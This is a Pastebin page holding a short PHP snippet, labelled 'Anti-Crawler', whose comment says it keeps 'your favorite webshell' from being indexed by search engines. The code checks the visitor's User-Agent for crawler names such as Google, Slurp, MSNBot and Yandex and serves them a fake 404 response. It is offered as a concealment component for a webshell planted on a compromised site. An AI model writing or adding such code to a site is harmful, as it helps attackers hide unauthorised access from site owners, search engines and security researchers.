Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- // Anti-Crawler By JfaMhxcTC PC
- ## God Bless all
- /* For your favorite webshell not index in any motor search*/
- if(!empty($_SERVER['HTTP_USER_AGENT'])) {
- $userAgents = array("Google", "Slurp", "MSNBot", "ia_archiver", "Yandex", "Rambler");
- if(preg_match('/' . implode('|', $userAgents) . '/i', $_SERVER['HTTP_USER_AGENT'])) {
- header('HTTP/1.0 404 Not Found');
- exit;
- }
- }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement